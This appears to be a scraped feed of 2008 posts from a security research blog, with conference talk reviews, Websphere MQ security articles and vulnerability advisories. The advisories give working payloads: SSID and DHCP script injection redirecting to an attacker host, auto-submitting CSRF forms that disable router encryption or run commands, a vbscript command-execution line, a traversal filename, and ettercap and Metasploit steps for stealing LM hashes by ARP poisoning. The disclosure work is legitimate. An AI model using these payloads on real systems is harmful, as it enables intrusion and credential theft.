Last week I attended DEFCON 16 in Las Vegas. I went last year as well, so I knew to expect the huge throngs of people, the strange mix of young, old, and crazy-haired and all the usual antics that happens when you gather around 7 thousand hackers in one place.

There’s a lot to do at DEFCON besides attending presentations, but this year I was there for business not just pleasure, so I went on a presentation-attending marathon. I must admit that this year there were less “wow” moments as far as the talks were concerned, but there were still some decent talks ands of course lots of opportunities to catch up with friends and acquaintances from around the world.

Here’s a list and some comments of the talks I attended:

Day 1

Time-Based Blind SQL Injection Using Heavy Queries
By: Chema Alonso and Jose Parada

Nice little technique to perform blind SQL injection without the use of delay functions, but instead creating queries which tax the database enough for a noticeable delay to be seen. Nothing ground breaking, but nifty.

Links:

• http://technet.microsoft.com/en-us/library/cc512676.aspx
• http://www.codeplex.com/marathontool

Digital Security: A Risky Business
By: Ian Angell (aka the “Angell of Doom”)

A fantastic speaker, and an unusual presentation for DEFCON, dealing with some of the myths and fallacies of the high tech world.

Security and anonymity vulnerabilities in Tor: past, present and future
By: Roger Dingledine

There always seems to be a talk like this at DEFCON now, and its usually pretty interesting. This talk looked back at past Tor vulnerabilities, through to today, and suggested where further problems may lie. Tor’s unusual architecture always makes this a fascinating listen.

New Tool for SQL Injection with DNS Exfiltration
By: Robert Ricks

This talk demonstrated a technique and a tool to extract data through an SQL injection vulnerability by tunnelling the data through DNS. This makes for fast extraction as more data can be extracted with each query than in traditional blind SQL injection techniques. The DNS exfiltration method is not new, but Rickses tool targets Oracle which, as far as I know, no practical tool did before.

Anti-RE Techniques in DRM Code
By: Jan Newger

Fascinating look at some of the devious techniques DRM code uses to make it harder to reverse. Slides featured a pixelated section of a diagram to avoid revealing the full DRM algorithm.

NMAP-Scanning the Internet
By: Fyodor

Really enjoyed this one. I hadn’t seen Fyodor present before and he is a very engaging speaker. His talk contained some interesting metrics based on his mammoth scans of large parts of the internet, allowing him to give advice on the most efficient scan options. He also added a variety of very nice features to nmap to be released soon.

Keeping Secret Secrets Secret and Sharing Secret Secrets Secretly
By: Vic Vandal

The talk focused mainly on issues surrounding stenography.

Virtually Hacking
By: John Fitzpatrick

John is a colleague of mine, so naturally I went to heckle this presentation In all seriousness though it’s an interesting talk about VMware security. He released some scripts to manipulate VMware in some very interesting ways.

Day 2

RE:Trace: The Reverse Engineer’s Unexpected Swiss Army Knife
By: David Weston and Tiler Beauchamp

This was a great talk, and one I will probably use in some future research of mine. RE:Trace is a ruby framework written around DTrace which allows you to do some kung-fu to help in reverse engineering and exploit writing. Includes some very nice integration with IDA Pro.

Hacking Desire
By: Ian Clarke

Not what I expected, but interesting nonetheless, the talk focussed on how systems can build a predictive picture of what users like.

Feed my SAT Monkey
By: Major Malfunction (aka Adam Laurie)

Hacking satellites. Do I need to say anymore? Well ok, no sending data to satellites here, but interesting insight into the world of hunting for interesting signals. Including tcp/ip data that you “wouldn’t believe”.

Is that a unique credential in your pocket or are you just pleased to see me?
By: Zac Franken

If you’ve never seen someone take a silicone cast of their hand to fool a hand scanner, you haven’t lived.

VulnCatcher: Fun with Vtrace and Programmatic Debugging
By: atlas

This talk shows techniques for programmatically finding when an exploitable bug “likely” occurred during fuzzing, so you can hone in on the truly interesting crashes quickly. Included an amusing interruption in which atlas was attacked by a fully automatic nerf gun.

Introducing Momentary Faults Within Secure Smartcards/Microcontrollers
By: Christopher Tarnovsky

Some of this talk was a bit over my head (I’m a software monkey at heart), but it was quite amazing to see how you could physically mess with circuits on a chip to bypass certain restrictions. Included live, participatory demonstration!

Day 3

Malware Detection Through Network Flow Analysis
By: Bruce Potter

Its not as if you can not go to a Bruce Potter talk. He started off with some insightful comments about the security industry generally, and moved on the to main topic of discussion, showing how best to analyse network flow from a security analysts point of view, as opposed to a purely operational concerned person. Before the talk, Bruce took part in a small TF2 lan game that was stuck up on the big screen as we filed in.

Advanced Software Armouring and Polymorphic Kung-Fu
By: Nick Harbour

Nick Harbour had developed a pretty cool packer which used some amazing
techniques to screw with analysis of the disassembly. My favourite was
instructions that jump half way into their own bytecode at which point
new meaningful instructions emerge.

DNS
By: Dan Kaminsky

If I have to explain this one, you must have been living under a rock. I actually only caught the second half, as the line to get in to his talk was insanely long. But he spoke for almost 2 hours and I managed to hear some of his comments on the implications of easy DNS poisoning. Afterwards, he gave out cookies!

Race-2-Zero Unpacked
By: Simon Howard

A dissection of the controversial Race-2-Zero contest in which participants had to get various malware past virus scanning engines.

Toaster, a Modular NetBSD Rootkit
By: Anthony Martinez and Thomas Bowen

The guys seemed quite nervous in this presentation, but the material behind it was an interesting look at how they implemented this BSD rootkit.

Malware RCE: Debuggers and Decryptor Development
By: Michael Ligh and Greg Sinclair

This demo driven presentation looked at techniques and tips for effectively analysing malware samples.

en-Testing is Dead, Long Live the Pen Test
By: Taylor Banks and Carric

An insightful look at the history and development of pentesting, its roots in hacker culture, what went wrong, and how to progress into the future.

Summary

I really enjoyed The Pen-Test is Dead Long Live the Pentest as it tied in quite closely with what I am seeing myself and the changes we are making at MWR InfoSecurity. On a technical level my favourite talks were probably RE:Trace, Anti-RE Techniques in DRM Code and Polymorphic Kung-Fu. I wish I had got to see Jason Scott’s talk, he has to be one of my favourite speakers, but his talk wasn’t technical and as I was there on company time I decided to take in the technical talks on at the same time instead.

An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative interface and would be executed when an administrator scanned for APs.

Circumstances

Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.

Cause

The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.

Exploitation

An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’
packets containing a malicious payload in the SSID.

The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative interface and will be executed when an administrator scans for wireless access points.

Impact

Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could fully compromise the affected system.

Dependencies

• The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase the distance that can exist between an attacker and their target
• SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.

Attack Technique

1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID

SSID of the first access point: -

<script>location=/*

SSID of the second access point: -

*/"http://attacker";</script>

A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.

<script>location="http://attacker";</script>

2. This malicious SSIDs will be displayed in the ‘Neighbour’s Wireless’ page of the affected device administrative interdace and will be executed when an administrator scans for wireless APs

3. The malicious payload references to a script hosted in the attacker’s web server. Below it can be seen an example of the malicious script hosted in the attacker’s web server. This code will vary depending on the affected device.

<html>
<body onload="javascript:document.forms.wpa.submit();">
<form name="wpa" action="http://192.168.1.1/apply.cgi” method=”POST”>
<input type=”hidden” name=”submit_button” value=”WL_WPATable” />
<input type=”hidden” name=”action” value=”ApplyTake” />
<input type=”hidden” name=”change_action” value=”gozila_cgi” />
<input type=”hidden” name=”submit_type” value=”save” />
<input type=”hidden” name=”security_varname” />
<input type=”hidden” name=”security_mode_last” />
<input type=”hidden” name=”wl_wep_last” />
<input type=”hidden” name=”filter_mac_value” />
<input type=”hidden” name=”wl0_security_mode” value=”disable” />
</form>
</body>
</html>

4. The malicious script hosted in the attacker’s web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator’s browser to make a POST request to the wireless encryption functionality (apply.cgi) and disables the device’s wireless encryption.

Tool: SSID Script Injection [1]

Advisory: DD-WRT SSID Script Injection Vulnerability [1] [2]

Demo: DD-WRT SSID Script Injection Attack [1]

White paper: Behind Enemy Lines [1] [2]

]]> http://usefulfor.com/security/2008/08/04/ssid-script-injection/feed/ http://usefulfor.com/security/2008/08/04/dhcp-script-injection/ http://usefulfor.com/security/2008/08/04/dhcp-script-injection/#comments Mon, 04 Aug 2008 09:39:45 +0000 rdv http://usefulfor.com/security/?p=93 A number of administrative applications are available which allow users to manage a network DHCP server via a web interface. This allows administrators to set up configuration options and view active DHCP leases.

it was found that a large number of these administrative web applications did not properly sanitise parameters that were passed to them from the DHCP server and therefore an attacker. In particular, a specially crafted DHCPREQUEST message containing malicious JavaScript or HTML code in the DHCP Options Hostname field could be sent to the DHCP server; the malicious code would then be displayed in the DHCP active leases page of the vulnerable administrative application and would be executed when an administrator visited the page.

Circumstances

Device providing an administrative web interface with a DHCP management functionality.

Cause

The device administrative web interface does not properly sanitise parameters that are passed to it from the DHCP server.

Exploitation

If a specially crafted DHCPREQUEST message containing malicious code in the Hostname DHCP Options field is sent to the affected DHCP server; this will be displayed in the DHCP active leases page of the device administrative interface and will be executed when an administrator visits this page.

Impact

Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could remotely execute commands in the affected system.

Dependencies

• The attacker would have to be connected to the network segment on which the affected device was located.
• The DHCP server would also need to be active and to provide the attacker’s system with an IP address.

Attack Technique

1. An attacker connected to the same wired network as the affected device could send a specially crafted DHCPREQUEST message containing a malicious payload in the DHCP Options Hostname field

<iframe height=0 width=0 src='http://attacker-web-server/'>

2. This payload would then be passed from the DHCP server to the admin web interface and executed when the DHCP active leases page was visited by an administrator

3. The malicious payload in the DHCP Options Hostname field references to a script hosted in the attacker’s web server. Below it can be seen an example of the malicious script hosted in the attacker’s web server. This code will vary depending on the affected device.

<html>
<body onload="javascript:document.forms.frmExecPlus.submit();">
<form name="frmExecPlus" action="https://target/exec.php” method=”POST”>
<input name=”txtCommand” type=”hyden” size=”80″ value=”whoami“>
<input type=”hidden” value=”Execute”>
</form>
</body>

4. The malicious script hosted in the attacker’s web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator’s browser to make a POST request to the command execution functionality (exec.php) and executes the desired command.

Tool: DHCP Script Injection [1]

Advisory: pfSense DHCP Script Injection Vulnerability [1] [2]

Demo: pfSense DHCP Script Injection Attack [1]

White paper: Behind Enemy Lines [1] [2]

In the last article (middleware and me (part-1)) we looked at the concept of Middleware security and why it is often a neglected area. In this article we are moving on to look in detail at the security features that can be employed to protect this type of software. For the purposes of these discussions we are going to be focussing on the IBM Websphere MQ product, hopefully in the future I will be able to contrast these discussions against the security controls employed by a number of other messaging technologies.

If you are going to understand how to secure an installation of Websphere MQ it is important to think about the risks it can expose. Often it is used in critical applications and therefore any vulnerabilities in the technology can be mapped directly to the business risk. In this discussion we are going to focus on our fictional company of Widget Corp. They make widgets which are low cost fixings used for a number of different purposes by a wide range of different customers.

The company is formed of several individual business units and has decided to use Websphere MQ in its manufacturing process. The typical business process flow of an individual business unit is as follows: -

For more information about the fictional Widget Corp please refer to the Websphere MQ Security White Paper (mirror #1, mirror #2).).

Given the importance of this process the greatest risks to the business in order of significance are as follows: -

• Loss of Availability – With a low cost and therefore profit per unit it is vital that the number of widgets that are produced is maximised. The transfer of messages from the customers to the manufacturing plant is what keeps this process moving and therefore any unavailability in the system means loss of manufacturing time. In addition, if customers do not receive their orders on time they will take their business elsewhere.
• Damage to Integrity – Customers want their orders when they are promised to them but they also want the correct order to arrive. If the integrity of the message data is affected then orders might not be manufactured, may be delivered to the wrong customer or may contain errors. In any of these situations a customer will not be happy and will turn to an alternative supplier.
• Breach of Confidentiality – The messages being transferred across the business contain a large amount of information that would either be of interest to a competitor or would disclose information about the customer. If this data were obtained it could be used either for competitive advantage or for use in negative publicity against the company. This could result in damage to the brand or more effective competition from other companies in the industry.
• Lack of Accountability – When facing an audit it is vital that the company be able to demonstrate how its business process is transparent and can not be used for illegitimate purposes. Failure to be able to demonstrate this could result in fines or other action being taken if the company is suspected of engaging in such activities.

These risks highlight how the security of the Middleware used by Widget Corp is of critical importance to its ongoing success. These risks can be directly mapped to a number of common security requirements and are common across all technologies and products. If you are examining a technology with such a close match to a fundamental business process it is important not to shy away from the importance of understanding the actual requirements for security controls. A mapping of the top three of the previously highlighted business risks against common security requirements is pictured here.

When using the Websphere MQ product there are a number of security features that can be used to meet these security requirements. An understanding of the relationship between these requirements and the features is critical and can be observed here: -

As can be observed in the diagram there are three primary security features that are available within Websphere MQ when considering network based access to the software. Each of these features is described briefly with respect to its functionality and the potential impact on the system if it is not used: -

• SSL and TLS Encryption – A wide range of ciphers can be configured to protect any communication of Websphere MQ data across a network including enforcing a requirement for a system to present a client certificate at connection time. The use of a given cipher or client certificate controls can be tested for on a channel by channel basis and the error codes that are returned enable the status to be accurately determined. Failure to use these controls could result in traffic sniffing attacks being a viable method for compromising data confidentiality and integrity.
• MCAUSER – Each channel can be protected with a user context under which the messaging transactions take place. This can be reviewed by investigating channel settings using Inquire commands which are standard Websphere MQ operations. If MCAUSERs are not defined it could enable a user to access objects for which they have not been granted authorisation to do so.
• Security Exit – An external application can be defined which MQ hands off the responsibility of user authentication to and can enforce both user and IP addresses restrictions. If an exit has been configured for a channel Websphere MQ it will indicate this when attempting to connect. If a security exit is not defined for a channel it means that no user authentication can occur, system authentication can still occur using SSL but this has no direct mapping to user based access control on the Websphere MQ system itself.

When examining the technology it is important that the role of each of these be understood, how their presence can be tested for and in which circumstances they are required. Given that these security controls are available it could be assumed that they are always utilised. However, this is a false assumption and often one if not all of these features are either not used or not used with appropriate coverage. Therefore, on the majority of installations there are plenty of security vulnerabilities just waiting to be discovered by someone who looks in sufficient detail.

This article has provided a basic overview of the mapping between risk and security controls associated with the Websphere MQ product and the features that can be enabled. For more information about these have a read of the white paper discussed earlier. Next time I will begin to discuss how a security assessment from the perspective of a penetration tester can be mapped out and will examine some new features of dradis that can help this to be achieved.

Goal:

To retreive a client’s currently logged in credentials through manipulation of their HTTP stream (via a MITM attack). Most of the clients seen during various internal tests were pretty well firewalled and patched. However by manipulating a client’s HTTP stream it was possible to have them send their username and the majority of their password hash.

Conditions:

So as with most things there are some conditions that must be inplace for this to be successful and also requirements that the credential snarfer must have sorted. Client Conditions:-:

• The target client must be using a version of IE for their browsing. During testing IE appears to be the only browser that by default sends through the resonse to the challenge of the locally logged in user that we’re after.
• Must be on same netowrk segment, for the MITM attack to work of course.
• Only LANMAN hashes can be obtained this way. If the client has been configured to support NTLM only then we lose. Most default installs will not be set up this way, you may encounter more secure setups in some corporate environments.
• Only the first 7 characters are in the tables. Youll have to brute force the rest of the password.

Attacker’s Rig:

• Some LMHALFCHALL rainbow tables: halflmchall_all-space_1-7.torrent (54gig) -or- halflmchall_alpha-numeric_1-7.torrent (5gig)
• Metasploit, plus Kurt Grutzmacher’s exploit module smb_server.pm from here (this does not work on Windows):
  • http://metasploit.com/tools/: Looking for Framework v.2.7
  • smb_sniffer.pm
• Ettercap plus an ettercap filter to rewrite the victims web pages LMHC_etter.filter.
• Cain & Abel to perform the crypt analysis of the LMHALFCHALLENGE hashes recovered. As far as I know these rainbow tables for LMHC were created with the Cain & Abel utility winrtgen and therefore are incompatible with the patched version of rcrack.

Attacker Process:

• Fix up the IP address in the LMHC_etter.filter file to represent the host you’ll be running Metasploit 2.7 & the smbsniffer exploit module from.
• Compile that with:

  etterfilter.exe -o LMHC_etter.ef LMHC_etter.filter

• Unpack Metasploit 2.7 from tha above link, place smb_sniffer.pm under the exploits/ directory.
• Install and run as root
• Metasploit commands :

  framework-2.7 $ sudo ./msfconsole msf > use smb_sniffer msf smb_sniffer > set PWFILE=/tmp/smb_sniffed.pw3

  So the SMBsniffer is waiting listening for connections fro the victims IE. So we need to rewrite some of their web requests to ensure they pass us their LMHALFCHALLENGE hashes.

• Run up ettercap using our compiled filter from earlier, to perfom the arp poisoning attack with the following:

  ettercap -Tq -M arp:remote -F /mnt/LMHC_etter.ef /GATEWAY ADDRESS/ /VICTIM ADDRESS/

• When the page gets rewritten correctly IE will attempt to make the connection and send the logged in user credentials to your waiting server.
• Resulting in a Pwdump compliant output file called smb_sniffed.pw3
• Switch to Cain & Abel for the hash cracking
• Select the hash you want to crack, right click and select Cryptanalysis Attack->HALFLM Hashes + challenge->via RainbowTables, add the tables, and crack it.

Some Other Things To Play With In The Same Eenvironment:

LSO: MSFweb 3.0 part 2 (via Milw0rm videos)

The summary of the features of the v1.2 release:

• in the client:
  • export to XML module is now part of the standard module set.
  • a new implementation of the command line parser: now it is possible to use single and double quotes to pass multi-word arguments to the different commands.
  • fixed the window.rb:159 bug.
• in the server:
  • a slightly less annoying implementation of the web interface auto refresh functionality.
  • the services added through the web interface can have a name now
  • simple prevention against embedded XSS.

You can also download the platform-independent ruby source in the download section of the site.

This post is the first in a series on the subject of enterprise messaging and in particular on IBM’s flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers and other interested parties to feel confident about this important area of IT security.

When it comes to security testing a business application, how comfortable are you? The answer to that question will probably depend on a number of factors including the following: -

• Is it an internal or external test?
• What technologies are involved?
• What is the business process the application is used for?

Depending on the requirements for testing we might only be asked to look at the web front-end to the application. Or we might be asked to do an internal test of the entire application infrastructure. However, in reality there are lots of business applications that look like the following: -

So why is the big question mark in the middle of the picture? In reality that is a gap in most testing methodologies or in the requirements provided to testers by their clients. In reality the question mark could represent any of the following: -

• The bit of the process the client didn’t ask to be tested.
• The part of the application I don’t understand.
• The software products and solutions that don’t appear in books on hacking or security testing.
• A cloud through which data passes that I don’t need to understand.

Therefore, if we want to test a business application against its security requirements we have a big black hole. We know what the risks associated with the web application and database are? We know how to test the web server and database but what sits in the middle. In an enterprise environment the answer is usually as follows: -

So what is this mystical middleware that we hear so much about but never get to see? In the majority of cases it will involve a messaging or transport application whose responsibility it is to get data to the application that needs it. There are lots of such applications available including Microsoft Message Queuing (MSMQ), Sun Message Queue, IBM Websphere MQ and ActiveMQ.

So if these products exist, how do we test them? Unfortunately I can’t provide an all encompassing answer for that question, but I can tell you all about one of these products, namely IBM’s Websphere MQ. So whether you are interested in Websphere MQ itself, security testing in general or just the risks associated with messaging applications you should have a read of my new white paper on the subject:
Websphere MQ Security White Paper (mirror #1).

The white paper is the first of a series of documents that I intend to produce on the subject and covers a wide range of issues associated with both the product and messaging applications in general. All audiences are catered for, from those with managerial roles in IT through to integrators and security testers. I hope you find the document interesting and if you would like more information on the subject be sure to check out the slides from my Defcon presentation last year: MQ Jumping - Defcon 15 Presentation (mirror #1).

On the next part of this series of blog posts I will be talking about the security architecture of Websphere MQ, stay tuned

The National Rail Live Departure Board Sidebar gadget provides users with the ability to view real time train departure boards for all main railway stations in the UK. The gadget allows users to choose a “Start Station” and a “Destination Station” in order to provide them with the most up to date live departure information for their chosen trip. The gadget requests this information from a web server, which responds to the gadget with live departure board information for the user’s chosen rail journey.

An attacker capable of intercepting the web server response to the gadget request could modify that response such that a script was injected and then run on the user’s system. The injected script would run under the privileges of the currently logged in user, allowing the remote attacker to execute commands on the target system. An attacker successfully exploiting this vulnerability could execute arbitrary commands in the context of the current logged in user.

The following script could be injected into the body area of the response returned by the web server: -

<script SRC='vbscript:System.Shell.execute("cmd.exe", "/k whoami")'>

In this case this would result in the “whoami” command being executed on the user’s system, as can be seen in the screenshot below:-

An attacker could alter this code to execute commands of their choosing which, depending on the logged on user’s privileges, could result in the remote compromise of the target system.

It should be noted that for this attack to be exploited an attacker would need to be able to intercept and modify network traffic between the remote web server supplying the departure information and the targeted user.

The National Rail Live Departure Board gadget version 1.0 was confirmed to be affected to this vulnerability. The vendor has addressed this vulnerability and implemented a fix in version 1.1

The full security advisory can be found here:- [1] [2]

The whitepaper Considerations for the Secure Rollout of Sidebar Gadgets on Windows Vista is a recommended reading if you are interested in the security of gadgets.

I have just arrived from Black Hat Europe 2008 in Amsterdam (this one, not this one). It has been a cool experience, not exactly what I expected but really interesting.

Briefings were held during the 27^th and 28^th of March, and the presentations are available for download. If you want to see what the chef recommends just keep reading…

Here is the list of presentations I attended:-

Day 1

• The Keynote by Ian O. Angell: Digital Security: a Risky Business.
• Client-side Security by Petko D. Petkov.
• Side Channel Analysis on Embedded Systems by Job DeHaas.
• CrackStation by Nick Breese.
• Exposing Vulnerabilities in Media Software by David Thiel.
• The Fundamentals of Physical Security by Deviant Ollam.

Day 2

• Mobile Phone Spying Tools by Jarno Niemela.
• LDAP Injection & Blind LDAP Injection by Chema Alonso & Jose Parada Gimeo.
• DTRACE: The Reverse Engineer’s Unexpected Swiss Army Knife by David Weston & Tiller Beauchamp.
• Intercepting Mobile Phone/GSM Traffic by David Hulton & Steve.
• Hacking Second Life by Michael Thumann.
• Investigating Individuals and Organizations Using Open Source Intelligence by Roelof Temmingh & Chris B

Favourites

1. Intercepting Mobile Phone/GSM Traffic. Mind blowing, these guys have been researching the topic for 5 years and they have found a software/hardware combination that makes GSM cracking a piece of cake.
2. Investigating Individuals and Organizations Using Open Source Intelligence. Paterva is a nice tool, but the most interesting/scary part of the presentation was the little brainstorming session by Roelof Temmingh on how datamining, online presence and the sources of information may evolve in the future.
3. The Fundamentals of Physical Security. All your locks are belong to us.

There were more business people than nerds but more nerds than girls :). Google was recruiting, Microsoft was nowhere to be seen and there was punch and pie all day long.

Users of the administrative interface can be granted different levels of access. Research revealed that users with upload/download privileges could abuse them to gain access to arbitrary files in the remote system (read the security advisory - mirror #1, mirror #2).

update: a link to the patch is available in Elastic Path Developer’s site (thanks to d-dub).
update: this vulnerability has been assigned the following CVE number: CVE-2008-1606.

Arbitrary File Download

The script used by Elastic Path when the user requests the download of a file was found to be vulnerable to directory traversal attacks. Insufficient validation in the file parameter could enable an attacker to download arbitrary files from the remote system.

Arbitrary File Upload

The script used by Elastic Path to handle the upload file request was found not to apply sufficient validation to the user input. As a result an attacker could use the importData.jsp file to upload arbitrary files to arbitrary locations in the remote web server.

The input validation filters can be bypassed by submitting a specially crafted file name such as:

../..\..\..\Browser.jsp

File System Browse

Elastic Path provides a script to manage the resource files associated with the products of the shop (fileManager.jsp). Source code inspection revealed that insufficient validation in the dir parameter could allow an attacker browse through the contents of arbitrary locations of the remote drive.

Dependencies

In order to successfully exploit the attack vector described the user must be logged into the Elastic Path manager application. In addition to this, the logged in user should have download or upload rights to exploit the arbitrary file download and upload vulnerabilities described in this document.

Recommendations

It is recommended that all installations of the software be upgraded to a secure version when this is made available by the vendor.

To reduce the level of risk to which users of the software are exposed it is further advised that the application server be run under a system user account with the lowest level of privilege possible.

It is also recommended that, where possible, the Elastic Path manager application should be subject to network level filtering such that only trusted IP addresses can communicate with the service. It should be noted that this is a generic recommendation and is not specific to this technology.